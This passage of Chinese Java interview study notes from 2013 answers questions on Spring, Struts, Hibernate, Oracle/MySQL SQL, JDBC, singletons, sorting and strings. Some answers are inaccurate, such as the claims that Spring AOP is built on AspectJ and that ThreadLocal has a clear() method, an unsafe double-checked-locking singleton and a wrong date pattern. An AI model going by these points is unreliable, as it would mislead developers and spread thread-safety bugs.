问题3:Spring底层动态代理失效,怎么实现切面?
Spring默认使用JDK动态代理(Proxy),但JDK动态代理是针对接口做代理的。如果类不是实现的接口的时候,就会使用cglib代理。当然,你也可以在配置文件里指定使用cglib
JDK代理:只能代理实现了接口的类
cglib代理:不仅可以对实现接口的类进行代理,同时也可以对类本身生成代理(主要是通过继承这个类来生成的,所以不要将要代理的类设成final)
问题4:什么是动态代理?
动态代理可以提供对另一个对象的访问,同时隐藏实际对象的具体事实
代理一般会实现它所表示的实际对象的接口
代理可以访问实际对象,但是延迟实现实际对象的部分功能,实际对象实现系统的实际功能,代理对象对客户隐藏了实际对象。客户不知道它是与代理打交道还是与实际对象打交道
问题5:Struts2中的Action为什么是多例的?
Struts2的Action是多实例的并非单例,也就是每次请求产生一个Action的对象
原因是:
Struts2的Action中包含数据
例如你在页面填写的数据就会包含在Action的成员变量里面,如果Action是单实例的话,这些数据在多线程的环境下就会相互影响,例如造成别人填写的数据被你看到了
而Struts1的Action是单实例的
因为它的数据保存在Form类中,多线程环境下,Action只负责处理一些逻辑,并没有数据,也就是大家把它当做一个工具使用
同样Servlet也是单实例的
问题6:Struts1和Struts2的区别?
Struts1的前端控制器是一个Servlet,名称为ActionServlet,Struts2的前端控制器是一个filter,在Struts2.0中叫FilterDispatcher,在Struts2.1中叫StrutsPrepareAndExecuteFilter
Struts1的action需要继承Action类,Struts2的action可以不继承任何类;Struts1对同一个路径的所有请求共享一个Action实例,Struts2对同一个路径的每个请求分别使用一个独立Action实例对象,所有对于Struts2的Action不用考虑线程安全问题
在Struts1中使用formbean封装请求参数,在Struts2中直接使用action的属性来封装请求参数
Struts1 整合了JSTL,因此使用JSTL/EL。这种EL有基本对象图遍历,但是对集合和索引属性的支持很弱。
Struts2可以使用JSTL,但是也支持一个更强大和灵活的表达式语言--Object Graph Notation Language (OGNL)对象导航语言
Struts 1使用标准JSP机制把对象绑定到页面中来访问
Struts 2 使用ValueStack值栈技术,使taglib能够访问值而不需要把你的页面(view)和对象绑定起来
Struts 1 ActionForm 属性通常都是String类型。Struts1使用Commons-Beanutils进行类型转换
Struts2 使用OGNL进行类型转换,提供基本和常用对象的转换器
Struts 1支持在ActionForm的validate方法中手动校验,或者通过Commons Validator的扩展来校验。
Struts2支持通过validate方法和XWork校验框架来进行校验。
执行流程
Struts1
JSP发起HTTPRequest请求Servlet捕获struts.xmlnamespace+ActionNameAction填充表单setXxx()action.execute()“success”Result设置Request属性跳转目标页
Struts2
Action(JSP发起HTTPRequest请求,被过滤器捕获)FilterDispatcherstruts.xmlnamespace+ActionNamenew Action填充表单setXxx()action.execute()“success”Result设置Request属性跳转目标页
问题7:MySQL和Oracle的分页查询语句?
MySQL:
第一个参数指定返回的第一行在所有数据中的位置,从0开始(注意不是1),第二个参数指定最多返回行数
SELECT * FROM table LIMIT 5,10; #返回第6-15行数据
SELECT * FROM table LIMIT 5; #返回前5行
SELECT * FROM table LIMIT 0,5; #返回前5行
Oracle:
第1种:
SELECT * FROM
(
SELECT A.*, ROWNUM RN
FROM (SELECT * FROM TABLE_NAME) A
WHERE ROWNUM <= 40
)
WHERE RN >= 21
第2种:
SELECT * FROM
(
SELECT A.*, ROWNUM RN
FROM (SELECT * FROM TABLE_NAME) A
)
WHERE RN BETWEEN 21 AND 40
对比这两种写法,绝大多数的情况下,第一个查询的效率比第二个高得多。
这是由于CBO优化模式下,Oracle可以将外层的查询条件推到内层查询中,以提高内层查询的执行效率。对于第一个查询语句,第二层的查询条件WHERE ROWNUM <= 40就可以被Oracle推入到内层查询中,这样Oracle查询的结果一旦超过了ROWNUM限制条件,就终止查询将结果返回了
而第二个查询语句,由于查询条件BETWEEN 21 AND 40是存在于查询的第三层,而Oracle无法将第三层的查询条件推到最内层(即使推到最内层也没有意义,因为最内层查询不知道RN代表什么)
因此,对于第二个查询语句,Oracle最内层返回给中间层的是所有满足条件的数据,而中间层返回给最外层的也是所有数据。数据的过滤在最外层完成,显然这个效率要比第一个查询低得多
问题8:部署在不同Tomcat的两个项目间如何通信?
使用WebService技术实现
使用Socket技术实现
使用Http请求技术实现
问题9:请你谈谈SSH整合?
Struts(表示层)+Spring(业务层)+Hibernate(持久层)
Struts:
Struts是一个表示层框架,主要作用是界面展示,接收请求,分发请求
在MVC框架中,Struts属于VC层次,负责界面表现,负责MVC关系的分发
View:沿用 JSP,HTTP,Form,Tag,Resourse
Controller:ActionServlet,struts-config.xml,Action
Hibernate:
Hibernate是一个持久层框架,它只负责与关系数据库的操作
Spring:
Spring是一个业务层框架,是一个整合的框架,能够很好地黏合表示层与持久层
问题10:Struts2的数据都在ValueStack中,怎么保证数据的安全性?ValueStack生命周期多长?
因为ValueStack在ActionContext中,而ActionContext在ThreadLocal中,所以能保证数据的安全性
ValueStack的生命周期是一次请求,因为ActionContext把ValueStack放在Request域里面
问题11:OGNL有什么优点?
可以访问ValueStack和AcionContext
可以操作集合对象,很方便的构建各种集合
可以在 struts.xml访问action定义的属性
可以调用对象的方法
JSTL/EL只能在JSP中使用,而OGNL可以在更多的View使用
问题12:为什么使用Spring?有什么优点?
降低了组件之间的耦合性 ,实现了软件各层之间的解耦
可以使用容器提供的众多服务,如事务管理,消息服务等
容器提供单例模式支持
容器提供了AOP技术,利用它很容易实现如权限拦截,运行期监控等功能
容器提供了众多的辅助类,能加快应用的开发
Spring对于主流的应用框架提供了集成支持,如Hibernate,JPA,Struts等
Spring属于低侵入式设计,代码的污染极低
独立于各种应用服务器
Spring的DI机制降低了业务对象替换的复杂性(依赖注入)
10、Spring的高度开放性,并不强制应用完全依赖于Spring,开发者可以自由选择Spring的部分或全部
2013年8月13日:信诺网利
问题1:Spring的AOP是用什么来实现的?
Spring AOP就是用AspectJ来实现的,是依赖关系
AspectJ是动态代理的一种实现,而Spring默认使用的就是AspectJ来实现的动态代理,Spring自己的AOP就是使用AspectJ来实现的
AOP:Aspect Oriented Programming(面向切面编程)
利用动态代理实现面向切面编程
Spring实现动态代理配置是有两种配置文件:
XML文件方式
Annotation方式,使用AspectJ类库实现的
AspectJ类库,AspectJ是一个专门用来实现动态代理(AOP编程)的类库,AspectJ是面向切面编程的框架,Spring使用就是这个类库实现动态代理的
AspectJ的专业术语:
JoinPoint连接点(切入点)
PointCut切入点,当需要定义一个切入点时,则需要使用这个
Aspect切面
Advice切入点的逻辑
Target被代理对象
Weave织入
问题2:单例模式
单例模式是设计模式中最简单的形式之一
这一模式的目的是使得类的一个对象成为系统中的唯一实例,要实现这一点,可以从客户端对其进行实例化开始
因此需要用一种只允许生成对象类的唯一实例的机制,“阻止”所有想要生成对象的访问。
使用工厂方法来限制实例化过程,这个方法应该是静态方法(类方法),因为让类的实例去生成另一个唯一实例毫无意义
// 第一种形式: 也是常用的形式。
public class Singleton {
private static Singleton instance = null;
private Singleton() {
// do something
}
public static Singleton getInstance() {
if (instance == null) {
instance = new Singleton();
}
return instance;
}
}
// 第二种形式:
public class Singleton {
// 在自己内部定义自己的一个实例,只供内部调用
private static Singleton instance = new Singleton();
private Singleton() {
// do something
}
// 这里提供了一个供外部访问本class的静态方法,可以直接访问
public static Singleton getInstance() {
return instance;
}
}
// 第三种形式: 双重锁的形式。
public class Singleton {
private static Singleton instance = null;
private Singleton() {
// do something
}
public static Singleton getInstance() {
if (instance == null) {
synchronized (Singleton.class) {
if (null == instance) {
instance = new Singleton();
}
}
}
return instance;
}
}// 这个模式将同步内容下方到if内部,提高了执行的效率,不必每次获取对象时都进行同步,只有第一次才同步,创建了以后就没必要了。
问题3:PrepareStatement和Statement的区别?
Statement用于执行静态SQL语句,在执行时,必须指定一个事先准备好的SQL语句,也就是说SQL语句是静态的
PrepareStatement是预编译的SQL语句对象,SQL语句被预编译并保存在对象中。被封装的SQL语句代表某一类操作,语句中可以包含动态参数“?”,在执行时可以为“?”动态设置参数值
使用PrepareStatement对象执行SQL时,SQL被数据库进行解析和编译,然后被放到命令缓冲区,每当执行同一个PrepareStatement对象时,它就会被解析一次,但不会被再次编译。在缓冲区可以发现预编译的命令,并且可以重用。所以PrepareStatement可以减少编译次数提高数据库性能
1、创建时的区别:
Statement stm=con.createStatement();
PreparedStatement pstm=con.prepareStatement(SQL);
执行的时候:
stm.execute(SQL);
pstm.execute();
2、pstm一旦绑定了SQL,此pstm就不能执行其他的SQL,即只能执行一条SQL命令
stm可以执行多条SQL命令
3、 对于执行同构的SQL(只有值不同,其他结构都相同),用pstm的执行效率比较高,对于异构的SQL语句,Statement的执行效率要高
4、当需要外部变量的时候,pstm的执行效率更高
问题4:团队项目开发中,功能模块完成后如何和组员集成(整合)测试?
先进行单元测试,单元测试无误后再进行集成测试
例子:Junit+Ant
这个是属于软件测试的范畴,由测试人员做的,分为功能测试与性能测试
2013年8月14日:21CN世纪龙信息、凯通软件
问题1:解释一下什么是哈希表?
散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据结构
也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度
这个映射函数叫做散列函数,存放记录的数组叫做散列表
问题2:线程的生命周期
新建就绪(阻塞)运行死亡
新建:其中当用new创建完一个线程对象后,该线程处于新建状态
就绪:当线程对象调用start()后,该线程处于就绪状态
运行:如果处于就绪状态的线程获得CPU时间片,开始执行run方法的线程执行体,该线程处于运行状态
阻塞:如果线程调用了sleep()或者调用了一个阻塞式IO方法等,该线程处于阻塞状态
死亡:如果线程的run()执行完成或者抛出一个未捕获的异常等原因,该线程处于死亡状态
问题3:JSP页面如何实现自定义标签?
首先新建继承了SimpleTagSupport类的自定标签类,重写doTag方法
然后新建tld文件,定义标签的属性及格式
JSP页面引入标签
注意要放置在WEB-INF目录下才可以解析
自定义标签采用<myTag:checkURL startURL="网址" goURL="网址" ></myTag:checkURL>格式
问题4:JSP页面如何实现自定义函数?
首先新建自定函数类,定义public static boolean方法
然后新建tld文件,定义标签的属性及格式
JSP页面引入标签
注意要放置在WEB-INF目录下才可以解析
自定义函数采用${myfn:contains(字符串,字符串)}格式
问题5:你所了解的Apache的commons项目所包含的工具?
BeanUtils:提供了对于JavaBean进行各种操作,克隆对象、属性等等
Betwixt:XML与Java对象之间相互转换
Codec:处理常用的编码方法的工具类包 例如DES、SHA1、MD5、Base64等
Collections:Java集合框架操作
Compress:Java提供文件打包 压缩类库
Configuration:一个Java应用程序的配置管理类库
DBCP:提供数据库连接池服务
DbUtils:提供对JDBC的操作封装来简化数据查询和记录读取操作
Email:Java发送邮件对JavaMail的封装
FileUpload:提供文件上传功能
HttpClient:提供HTTP客户端与服务器的各种通讯操作. 现在已改成HttpComponents
IO:IO工具的封装
Lang:Java基本对象方法的工具类包,如:StringUtils,ArrayUtils等等
Logging:提供的是一个Java 的日志接口
Validator:提供了客户端和服务器端的数据验证框架
问题6、如何对SQL语句进行优化?
尽可能合理运用索引
少用“*”,比如select * from tableName,只查询自己需要的数据
使用LIKE ‘%关键字%’模糊查询时,由于关键字前面用了“%”符号,因此该查询必定会进行全表查询,尽量不要在关键字前加“%”符号
尽可能减少子查询的层数
尽可能在子查询中进行数据筛选
尽量使用数字型字段,一部分开发人员和数据库管理人员喜欢把包含数值信息的字段设计为字符型,这会降低查询和连接的性能,并会增加存储开销。这是因为引擎在处理查询和连接会逐个比较字符串中每一个字符,而对于数字型而言只需要比较一次就够了。
2013年8月15日:
问题1、你所了解的测试技术,并说一下你觉得测试与开发之间的关系
1、按是否查看程序内部结构分为:
黑盒测试:只关心输入和输出的结果
白盒测试:去研究里面的源代码和程序结构
2、按是否运行程序分为:
静态测试:是指不实际运行被测软件,而只是静态地检查程序代码、界面或文档可能
动态测试:是指实际运行被测程序,输入相应的测试数据,检查输出结果和预期结果是否相符的过程
3、按阶段划分:
单元测试:是指对软件中的最小可测试单元进行检查和验证
集成测试:是单元测试的下一阶段,是指将通过测试的单元模块组装成系统或子系统,再进行测试,重点测试不同模块的接口部门。集成测试就是用来检查各个单元模块结合到一起能否协同配合,正常运行
系统测试:指的是将整个软件系统看做一个整体进行测试,包括对功能、性能,以及软件所运行的软硬件环境进行测试。系统测试的主要依据是《系统需求规格说明书》文档
验收测试:指的是在系统测试的后期,以用户测试为主,或有测试人员等质量保障人员共同参与的测试,它也是软件正式交给用户使用的最后一道工序。验收测试又分为a测试和beta测试,其中a测试指的是由用户、 测试人员、开发人员等共同参与的内部测试,而beta测试指的是内测后的公测,即完全交给最终用户测试
软件开发是生产制造软件;软件测试是验证开发出来软件的质量
类比传统加工制造企业,软件开发人员就是生产加工的工人,软件测试人员就是质检人员
开发与测试的关系应该是:
没有软件开发就没有测试,软件开发提供软件测试的对象
软件开发和软件测试都是软件生命周期中的重要组成部分
软件开发和软件测试都是软件过程中的重要活动
软件测试是保证软件开发产物质量的重要手段
问题2、Oracle里varchar2的最大长度?
字段类型:Oracle SQL varchar2的最大支持长度为4000个字节(bytes)
变量类型:Oracle PLSQL varchar2最大支持长度为32767个字节(缓冲区)
问题3、如何判断Session过期?
request.getSession(boolean)这个方法里面传了一个boolean值,这个值如果是true,那么如果当前的Request的Session不可用,那么就创建新的会话,如果存在就返回当前的会话。如果参数是false,那么在Request的当前会话不存在的时候就返回null
if(request.getSession(false)==null){
System.out.println("Session has been invalidated!");
}
else{
System.out.println("Session is active!");
}
问题4、Oracle的行列转换?
姓名 科目 分数
--- --- ----
太上 语文 80
太上 数学 70
太上 英语 60
唤魔 语文 90
唤魔 数学 80
唤魔 英语 100
转换为:
姓名 语文 数学 英语
太上 80 70 60
唤魔 90 80 100
使用Oracle的Decode函数,如果“科目”是“语文”,返回对应科目的分数的综合,0是缺省值
语句如下:
select 姓名,
sum(decode(科目,'语文', 分数,0)) "语文",
sum(decode(科目,'数学', 分数,0)) "数学",
sum(decode(科目,'英语', 分数,0)) "英语"
from table
group by 姓名;
2013年8月16日:
问题1:Hibernate框架下如何实现分页?
Hibernate有自带分页功能
Query.setFirstResult() //从哪一条条记录开始
Query.setMaxResults() //希望获得的记录数
问题2:AJAX的优缺点?
优点:
局部刷新页面,减少用户心理和实际的等待时间,带来更好的用户体验
使用异步方式与服务器通信,不需要打断用户的操作,具有更加迅速的响应能力
减轻服务器的负担,按需取数据,最大程度的减少冗余请求
基于XML标准化,并被广泛支持,不需安装插件等
缺点:
AJAX大量的使用了JavaScript和AJAX引擎,这些取决于浏览器的支持。在编写的时候考虑对浏览器的兼容性IE5.0及以上、Mozilla1.0、NetScape7及以上版本才支持,Mozilla虽然也支持AJAX,但是提供XMLHttpRequest的方式不一样
AJAX更新页面内容的时候并没有刷新整个页面,因此,网页的后退功能是失效的;有的用户还经常搞不清楚现在的数据是旧的还是已经更新过的这个就需要在明显位置提醒用户“数据已更新”
对流媒体还有移动设备的支持不太好等,比如手机还有平板电脑
问题3、Hibernate里配置生成主键的方式有哪些?
Increment:
由Hibernate从数据库中取出主键的最大值(每个Session只取1次),以该值为基础,每次增量为1,在内存中生成主键,不依赖于底层的数据库,因此可以跨数据库
特点:跨数据库,不适合多进程并发更新数据库,适合单一进程访问数据库,不能用于集群环境
Hilo:
hilo(高低位方式high low)是Hibernate中最常用的一种生成方式,需要一张额外的表保存hi的值。保存hi值的表至少有一条记录(只与第一条记录有关),否则会出现错误。可以跨数据库
特点:跨数据库,hilo算法生成的标志只能在一个数据库中保证唯一
Sehilo:
与hilo类似,通过hi/lo算法实现的主键生成机制,只是将hilo中的数据表换成了序列Sequence,需要数据库中先创建Sequence,适用于支持Sequence的数据库,如Oracle
特点:与hilo类似,只能在支持序列的数据库中使用
Identity:
identity由底层数据库生成标识符。identity是由数据库自己生成的,但这个主键必须设置为自增长,使用identity的前提条件是底层数据库支持自动增长字段类型,如DB2、SQL Server、MySQL、Sybase和HypersonicSQL等,Oracle这类没有自增字段的则不支持
特点:只能用在支持自动增长的字段数据库中使用,如MySQL
Sequence:
采用数据库提供的Sequence机制生成主键,需要数据库支持Sequence。如ORACLE、DB、SAP DB、PostgerSQL、McKoi中的SequenceMySQL这种不支持Sequence的数据库则不行(可以使用identity)
特点:只能在支持序列的数据库中使用,如Oracle
Native:
native由Hibernate根据使用的数据库自行判断采用identity、hilo、Sequence其中一种作为主键生成方式,灵活性很强如果能支持identity则使用identity,如果支持Sequence则使用Sequence
特点:根据数据库自动选择,项目中如果用到多个数据库时,可以使用这种方式,使用时需要设置表的自增字段或建立序列,建立表等
Uuid:
UUID:Universally Unique Identifier,是指在一台机器上生成的数字,它保证对在同一时空中的所有机器都是唯一的。按照开放软件基金会(OSF)制定的标准计算,用到了以太网卡地址、纳秒级时间、芯片ID码和许多可能的数字
特点:uuid长度大,占用空间大,跨数据库,不用访问数据库就生成主键值,所以效率高且能保证唯一性,移植非常方便,推荐使用
Assigned:
主键由外部程序负责生成,在 save() 之前必须指定一个Hibernate不负责维护主键生成,与Hibernate和底层数据库都无关,可以跨数据库。在存储对象前,必须要使用主键的setter方法给主键赋值,至于这个值怎么生成,完全由自己决定,这种方法应该尽量避免
特点:可以跨数据库,人为控制主键生成,应尽量避免
Composite-id:复合主键,联合主键
2013年8月17日:
问题1、Oracle是否支持Auto_Increment?如不支持如何实现类似功能?
建立一个Sequence序列:
CREATE SEQUENCE Sequence_Name
INCREMENT BY 1 每次加1个
START WITH 1 从1开始计数
NOMAXVALUE 不设置最大值
NOCYCLE ; 一直累加,不循环
建立一个TRIGGER触发器:
CREATE OR REPLACE TRIGGER Trigger_Name
BEFORE
INSERT
ON Table_Name referencing NEW as NEW FOR EACH ROW 行级触发,即每行都触发
DECLARE
begin
select Sequence_Name.nextval into:New.increment_column from dual;
end;
/
问题2、建模使用什么工具?
Rational Rose、Power Designer、StarUML、Enterprise Architect [ˈɑ:kitekt]
问题3、Svn主要作用?Svn的服务如何配置?
主要作用:版本控制管理和代码服务器,主要用于团队开发时对项目代码的管理
服务配置:
创建版本库svnadmin create 版本库路径
建议注册到services.msc服务中
命令:sc create/delete svn binPath= “盘符:\subversion\bin\svnserve.exe –service –r 仓库目录” DisplayName= “逻辑名”
binPath的值之前一定要加空格
2013年8月19日:凯通软件
问题1、Java基础数据类型有哪些?最大长度分别是多少位?多少字节?
整数类型:
Byte 8位 1字节 范围:-128 ~ 127范围:-27 ~ 27-1
Short 16位 2字节 范围:-32768 ~ 32767 范围:-215 ~ 215-1
Int 32位4字节 范围:-2,147,483,648 ~ 2,147,483,647 范围:-231 ~ 231-1
Long 64位8字节 范围:-9,223,372,036,854,775,808~+9,223,372,036,854,775,807 范围:-263 ~ 263 -1
浮点数型:
Float 32位4字节 范围:-3,40292347E+38 ~ +3,40292347E+38范围:
Double 64位8字节 范围:-1.79769313486231576E+308 ~ 1.79769313486231576E+308范围:
其他类型:
Char 16位2字节(默认Unicode编码) 范围:‘\u0000′ ~ ‘\uFFFF’ 范围:
Boolean 1位0.125字节(8分之1字节) 范围:true/false
注意:
Int最常用(20亿左右),long可以用在统计世界人口,byte,short用在特殊场合(如果知道存储在变量中的整数在一个字节范围内,就应该将变量声明为byte)
Double和Float,一般都使用double,double类型,因为double类型比float更精确。需要存储大量数据才考虑单精度一般使用(float可以节约内存)
问题2、String有哪些方法?
trim() 去掉起始和结尾的空格
charAt (int index) 返回index所指定的字符
concat(String str) 将两字符串连接
equals() 比较两个字符串
length() 返回字符串的长度
replace(char old ,char new) 将old用new替代
valueOf() 转换为字符串
substring(int1,int2) 取出字符串内第int1位置到int2的字符串
indexOf() 查找字符或者子串第一次出现的地方,lastIndexOf() 查找字符或者子串是后一次出现的地方
startsWith(String str) 测试字符串是否以str开始,endsWith(String str) 测试字符串是否以str结尾
getBytes 将字符串转换成字节数组返回,toCharArray 将字符串转换成字符数组
toLowerCase() 将字符串内的字符改写成小写,toUpperCase() 将字符串内的字符改写成大写
问题3、冒泡排序的代码?
基本思想:
在要排序的一组数中,对当前还未排好序的范围内的全部数,自上而下对相邻的两个数依次进行比较和调整,让较大的数往下沉,较小的往上冒。即:每当两相邻的数比较后发现它们的排序与排序要求相反时,就将它们互换。
实例:
冒泡排序(bubble sort):冒泡排序,每次两个相邻的值进行比较,内层循环结束,最后出现最大值。
/*
冒泡排序,每次两个相邻的值进行比较,内层循环结束,最后出现最大值。
内层循环 arr.length-1 避免角标越界
arr.length-x 减少参与比较的数,因为这些数,已经是最大值,排在最后,没有必要参与比较。
*/
public static void bubbleSort(int[] arr){
for(int x=0;x<arr.length;x++){
for(int y=0;y<arr.length-1-x;y++){
if(arr[y]>arr[y+1]){
int temp =arr[y+1];
arr[y+1]=arr[y];
arr[y]=temp;
}}}}
问题4、选择排序的代码?
基本思想:
在要排序的一组数中,选出最小的一个数与第一个位置的数交换;然后在剩下的数当中再找最小的与第二个位置的数交换,如此循环到倒数第二个数和最后一个数比较为止。
实例:
/*
选择排序。内循环结束 0角标位出现最小值。只要外层循环的值比内层循环值大,就互换位置。
0角标位的元素,和0角标位以后的每个元素进行比较,只要比他们大就互换,位置,这样可以保证0角标位置值最小。
然后,再进行1角标位置和1角标后的每个元素进行比较。
依次类推,
*/
public static void selectSort(int[] arr){
for(int x=0;x<arr.length-1;x++){
for(int y=x+1;y<arr.length;y++){
if(arr[x]>arr[y]){
int temp=arr[y];
arr[y]=arr[x];
arr[x]=temp;
}}}}
问题5、inner join、left join、right join、full out join有什么区别?
left join是以A表的记录为基础的,A可以看成左表,B可以看成右表,left join是以左表为准的.。
换句话说,左表(A)的记录将会全部表示出来,而右表(B)只会显示符合搜索条件的记录(例子中为: A.aID = B.bID),B表记录不足的地方均为NULL。
范例代码:
SELECT C.First_Name, C.Last_Name, O.Order_Id FORM Customer AS C LEFT JOIN Order AS O ON C.Customer_ID = O.Customer_ID
right join和left join的结果刚好相反,这次是以右表(B)为基础的,A表不足的地方用NULL填充。
inner join只显示出了 A.aID = B.bID的记录,这说明inner join并不以谁为基础,它只显示符合条件的记录。
Oracle中的使用:
连接分为两种:内连接与外连接。
A.内连接,即最常见的等值连接,例:
SELECT *
FROM TESTA,TESTB
WHERE TESTA.A=TESTB.A
等价于
select * from testa inner join testb on testa.a=testb.a
B.外连接分为左外连接,右外连接和全外连接。
1.左外连接 left outer join 或者 left join
左外连接就是在等值连接的基础上加上主表中的未匹配数据,例:
SELECT *
FROM TESTA
LEFT OUTER JOIN TESTB
ON TESTA.A=TESTB.A
---------------------其中主表是TESTA。
Oracle 中等价于: (+)是outer join 的意思,能将匹配备件中有空值的记录也显示出来,如果没有这个符号,则不会显示条件中包含空值的结果。
SELECT *
FROM TESTA,TESTB
WHERE TESTA.A=TESTB.A(+)
三个表做左外连接:
SELECT *
FROM TESTA
LEFT OUTER JOIN TESTB
ON TESTA.A=TESTB.A
LEFT OUTER JOIN TESTC
ON TESTA.A=TESTC.A
Oracle 中等价于:
SELECT *
FROM TESTA,TESTB,TESTC
WHERE TESTA.A=TESTB.A(+)
AND TESTA.A=TESTC.A(+)
2. 右外连接 right outer join 或者 right join,是在等值连接的基础上加上被连接表的不匹配数据。
SELECT *
FROM TESTA
RIGHT OUTER JOIN TESTB
ON TESTA.A=TESTB.A
----------------------其中被连接表是TESTB
Oracle支持的另一种写法:
SELECT *
FROM TESTA,TESTB
WHERE TESTA.A(+)=TESTB.A
3.全外连接 full outer join 或者 full join,是在等值连接的基础上将左表和右表的未匹配数据都加上。
SELECT *
FROM TESTA
FULL OUTER JOIN TESTB
ON TESTA.A=TESTB.A
全外连接的等价写法,对同一表先做左连接,然后右连接:
SELECT TESTA.*,TESTB.*
FROM TESTA
LEFT OUTER JOIN TESTB
ON TESTA.A=TESTB.A
UNION
SELECT TESTA.*,TESTB.*
FROM TESTB
LEFT OUTER JOIN TESTA
ON TESTA.A=TESTB.A
2013年8月20日:
问题1、JS中有哪些数据类型?
Undefined、Null、Boolean、Number、String、Object、Array、Function。
JavaScript有三种基本数据类型(字符串、数值、布尔 ),两种引用数据类型(对象、数组)和两种特殊数据类型(Null 、Undefined )。
问题2、String 和StringBuffer的区别?
JAVA平台提供了两个类:String和StringBuffer,它们可以储存和操作字符串,即包含多个字符的字符数据。
String类表示内容不可改变的字符串。而StringBuffer类表示内容可以被修改的字符串。当你知道字符数据要改变的时候你就可以使用StringBuffer。
典型地,你可以使用StringBuffers来动态构造字符数据。
另外,String实现了equals方法,new String(“abc”).equals(new String(“abc”)的结果为true,而StringBuffer没有实现equals方法,所以,new StringBuffer(“abc”).equals(new StringBuffer(“abc”)的结果为false。
接着要举一个具体的例子来说明,我们要把1到100的所有数字拼起来,组成一个串。
StringBuffer sbf = new StringBuffer();
for(int i=0;i<100;i++)
{
sbf.append(i);
}
上面的代码效率很高,因为只创建了一个StringBuffer对象,而下面的代码效率很低,因为创建了101个对象。
String str = new String();
for(int i=0;i<100;i++)
{
str = str + i;
}
在讲两者区别时,应把循环的次数搞成10000,然后用endTime-beginTime来比较两者执行的时间差异,最后还要讲讲StringBuilder与StringBuffer的区别。
String覆盖了equals方法和hashCode方法,而StringBuffer没有覆盖equals方法和hashCode方法,所以,将StringBuffer对象存储进Java集合类中时会出现问题。
问题3、StringBuffer与StringBuilder的区别?
StringBuffer和StringBuilder类都表示内容可以被修改的字符串,StringBuilder是线程不安全的,运行效率高,如果一个字符串变量是在方法里面定义,这种情况只可能有一个线程访问它,不存在不安全的因素了,则用StringBuilder。如果要在类里面定义成员变量,并且这个类的实例对象会在多线程环境下使用,那么最好用StringBuffer。
String 不可变 每次对其操作都会在数据池产生一个新的对象,不适合使用在对字符串进行频繁修改的场景
StringBuffer和StringBuilder可变,对其修改不会产生新的对象 其两者区别在于StringBuffer线程安全而StringBuilder线程不安全,StringBuilder是线程非安全的效率比StringBuffer高
比喻:
String是一个商品
StringBuffer/StringBuilder是生产这个商品的流水线,
StringBuffer速度慢,但(线程)安全性高
StringBuilder速度快,但(线程)安全性差
问题4、Threadlocal类的作用?
ThreadLocal的作用和目的:用于实现线程内的数据共享,即对于相同的程序代码,多个模块在同一个线程中运行时要共享一份数据,而在另一个线程中则共享另一份数据,线程的数据是独享的。
ThreadLocal的实现原理:每个线程调用全局ThreadLocal的set方法,就相当于往其内部的Map中增加一条记录,key是各自的线程,value是各自的线程调用set放进的值。在线程结束时可以调用ThreadLocal.clear()方法,可以立即释放内存。也可以不调用,线程运行完成之后内存也会被回收。
顾名思义它是local variable(线程局部变量)。它的功用非常简单,就是为每一个使用该变量的线程都提供一个变量值的副本,是每一个线程都可以独立地改变自己的副本,而不会和其它线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。
它主要由四个方法组成initialValue(),get(),set(T),remove(),其中值得注意的是initialValue(),该方法是一个protected的方法,显然是为了子类重写而特意实现的。该方法返回当前线程在该线程局部变量的初始值,这个方法是一个延迟调用方法,在一个线程第1次调用get()或者set(Object)时才执行,并且仅执行1次。ThreadLocal中的确实实现直接返回一个null。也是解决线程安全的问题的一种方法。
问题5、Statement、Preparedstatement、Callablestatement的区别?
Statement
|
PreparedStatement
|
CallableStatement
Statement用于执行一条普通的动态SQL语句,PreparedStatement用于执行预编译好的SQL语句,CallableStatement用于调用数据库的存储过程。他们的继承关系如上。
Statement 每次执行sql语句,数据库都要执行sql语句的编译 ,最好用于仅执行一次查询并返回结果的情形,效率高于PreparedStatement.
PreparedStatement是预编译的,使用PreparedStatement有几个好处
在执行可变参数的一条SQL时,PreparedStatement比Statement的效率高,因为DBMS预编译一条SQL当然会比多次编译一条SQL的效率要高。
安全性好,有效防止Sql注入等问题。
对于多次重复执行的语句,使用PreparedStament效率会更高一点,并且在这种情况下也比较适合使用batch;
代码的可读性和可维护性。
CallableStatement接口扩展 PreparedStatement,用来调用存储过程,它提供了对输出和输入/输出参数的支持。CallableStatement 接口还具有对 PreparedStatement 接口提供的输入参数的支持。
问题6、把一个字符串类型的日期 转换成Date类型?
字符串转换为日期:
String brithday = new String("1991-02-02");
SimpleDateFormat sdf1 = new SimpleDateFormat("yyyy-MM-dd");
Date date = sdf1.parse(brithday);
System.out.println("将字符串转化为时间是" + date);
日期转换为字符串:
SimpleDateFormat sdf2 = new SimpleDateFormat("yyyyMMDDHHMMSSmmm ");
System.out.println(sdf2.format(new Date()));
将输入的字符串转换为需要的日期格式:
String myBirthday = new String("19881113");
SimpleDateFormat sdf3 = new SimpleDateFormat("yyyyMMdd");
Date date = sdf3.parse(myBirthday);
String newBirthday = sdf2.format(date);
System.out.println("将输入的字符串转换为需要的日期格式" + newBirthday);
问题7、Spring中加载XML配置文件的方法?
Spring中的几种容器都支持使用xml装配bean,包括:
XmlBeanFactory引用资源、ClassPathXmlApplicationContext编译路径
FileSystemXmlApplicationContext用文件系统的路径、XmlWebApplicationContext专为Web工程定制
加载这些容器的配置文件的XML有以下几种常见的方法:
1、引用资源用XmlBeanFactory(不能实现多个文件相互引用)
Resource resource = new ClassPathResource("appcontext.xml");
BeanFactory factory = new XmlBeanFactory(resource);
从factory中获取相应资源文件中的bean,但是这种bean读不到引用了其他文件中的bean!
2、引用应用上下文用ClassPathXmlApplicationContext
ApplicationContext factory = new ClassPathXmlApplicationContext(
"classpath:applicationContext.xml");
ApplicationContext factory = new ClassPathXmlApplicationContext(
"conf/userConfig.xml"); // src/conf 目录下的
ApplicationContext factory = new ClassPathXmlApplicationContext(
"file:G:/Test/src/appcontext.xml");
3、用文件系统的路径引用应用上下文用FileSystemXmlApplicationContext
ApplicationContext factory = new FileSystemXmlApplicationContext(
"src/applicationContext.xml");
ApplicationContext factory = new FileSystemXmlApplicationContext(
"classpath:appcontext.xml");
ApplicationContext factory = new FileSystemXmlApplicationContext(
"file:G:/Test/src/appcontext.xml");
ApplicationContext factory = new FileSystemXmlApplicationContext(
"G:/Test/src/appcontext.xml");
注意:在2、3的加载方式中可以加载多个配置文件,获取到ApplicationContext 对象中
String[] configs = { "applicationContext.xml", "user_spring.xml" };
